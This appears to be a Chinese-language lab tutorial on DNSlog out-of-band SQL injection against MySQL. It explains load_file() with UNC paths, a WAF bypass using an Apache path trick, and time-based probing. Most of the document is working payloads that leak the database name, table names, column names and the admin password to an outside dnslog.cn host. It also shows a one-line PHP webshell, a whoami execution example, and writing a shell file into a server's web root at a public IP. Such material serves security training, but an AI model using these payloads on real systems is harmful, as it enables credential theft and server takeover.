DNSlog【解决繁琐的盲注】介绍
DNS => 是一个域名系统,是一项网络服务,它作为将域名和IP 地址相互映射的一个分布 式数据库,能够使人更方便地访问互联网,DNS 注入就是利用了DNS 这个通道。【域名解析】 LOG => 日志 dns-log => 域名解析日志【记录别人来查询域名和ip 的对应】
注入原理
通过子查询,将内容拼接到域名内,让load_file() 去访问共享文件,访问的域名被记录 此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志
DNSlog使用场景
- 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过
DNS 请求把想获得的数据外带出来。 - 对于
sql 盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban ,所以可以将select 到的数据发送给一个url ,利用dns 解析产生的记录日志来查看数据。 - 能够使用
DNS 注入的网站,代表都可以使用load_file 去读取文件,实际上可以尝试去读取一些敏感文件,也许运气好,读到了管理员的账号密码,或者是一些敏感信息其实都是可能的!
DNSlog函数解析
LOAD_FILE() 读取文件的函数
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE 权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet (限制server 接受的数据包大小函数,默认1MB )。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL 。
转义字符: 让代码变成字符串 (字符串里面用的)\\ 路径里面: \\ 、 /
load_file() 在高版本的mysql 中被限制 这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv= ,点击重启即可。
- 局域网里做传输建议用HFS。
load_file() 可以读取文件、本机文件、远程文件。- 这个东西需要手动开启,它的作用?
1、有的版本自动开启 2、有的网站他们需要这个功能 3、有的运维、开发顺手开了
LOAD_FILE()函数用UNC路径来发起请求
\\Laptop-u50007qf\钉钉 即为UNC 路径。
- UNC路径:
windows 自带的文件分享、网上邻居等服务中,windows服务叫做smb [文件共享服务] ,之前互联网的带宽还是很低,人们传输文件通过电脑自带的共享功能。 - UNC路径就是类似
\\softer 这样的形式的网络路径。它符合 \\servername\sharename 格式,其中 servername 是服务器名或者域名,sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename 。 - 当得到域名后首先需要使用
dns 来解析域名,即可留下日志。 load_file() 函数中也可以使用UNC 地址。
DNSlog平台
http://dnslog.cn/
- 盲注的靶场可以用
dnslog ,因为dnslog 核心就是解决繁琐的盲注。 - 这种方法属于
oob 【核心是将数据外带出来】的分支,例如报错注入。 - 前提:目标必须有网。
linux 不一定可以使用dns 注入,因为linux 默认不自带smb 。- 数据库版本低【低版本中是开启的,高版本是需要自己配置】,或者配置文件改过【
secure_file_priv= 】
目标没网的情况
into outfile 'C:\666.txt' 【将查询结果输出保存到一个文件中】 load_file('D:\\1.txt') 【用于读取文件内容,并返回输出】
select 1 into outfile 'D:\666.txt';
练习【附WAF介绍】
- 我们查看源码提示id值传参。
- 我们尝试
?id=1 and 1=1 ,发现提示网站防火墙。这里网页存在WAF 【web应用防火墙,大部分防护网站规则是正则表达式】,waf 是网页的安全软件,可以防止输入恶意的传参来获取一些敏感信息:绕过方法可以用txt、jpg、png 文件格式进行绕过,有些不会去检测。因为安全狗认为txt 文件不会造成传参,所以不会检测txt 。 apache 解析规则:1.php/1.txt ,它会认为1.php 是文件,1.txt 是内容,若找不到1.txt 这个内容,则会将1.php/1.txt 整体当作php 文件进行解析;如果后端是JS ,则要绕过需要采取另外的方法。- 使用
index3.php/1.txt?id=1 【白名单绕过】,注意网页一定是index3.php - 使用
/1.txt?id=1 and 1=1 同样回显正确。 /1.txt?id=1 and 1=2 同样回显正常。/1.txt?id=1 and sleep(5) 发现网页存在延时注入。index3.php/1.txt?id=1 and load_file(concat('//',database(),'.vgjchy.dnslog.cn/123')) 得到数据库的库名,其中123为函数需要,存不存在无所谓。 8.?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.vgjchy.dnslog.cn/123')) 得出表名为admin、news。 id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.vgjchy.dnslog.cn/123')) 得出admin表中的字段有id、username、password。- 同理
news 表中的字段有id 、content 。 index3.php/1.txt?id=1 and load_file(concat('//',(select password from mangzhu.admin),'.vgjchy.dnslog.cn/123')) 得出admin表中的字段password中的内容即为flag。
一句话木马
后端代码很强大,可以操纵目标主机。
127.0.0.1/2.php?8=echo `whoami`;
- 使用菜刀可修改目标主机中文件的修改时间等等。
- 上面的练习题同样可用union select语句将一句话木马写入,使用报错路径,写入后使用菜刀连接即可连接目标主机。
http://59.63.200.79:8014/index3.php/1.txt?id=1 into outfile 'C:\\phpStudy\\WWW\\111.php'
http://59.63.200.79:8014/111.php/1.txt
|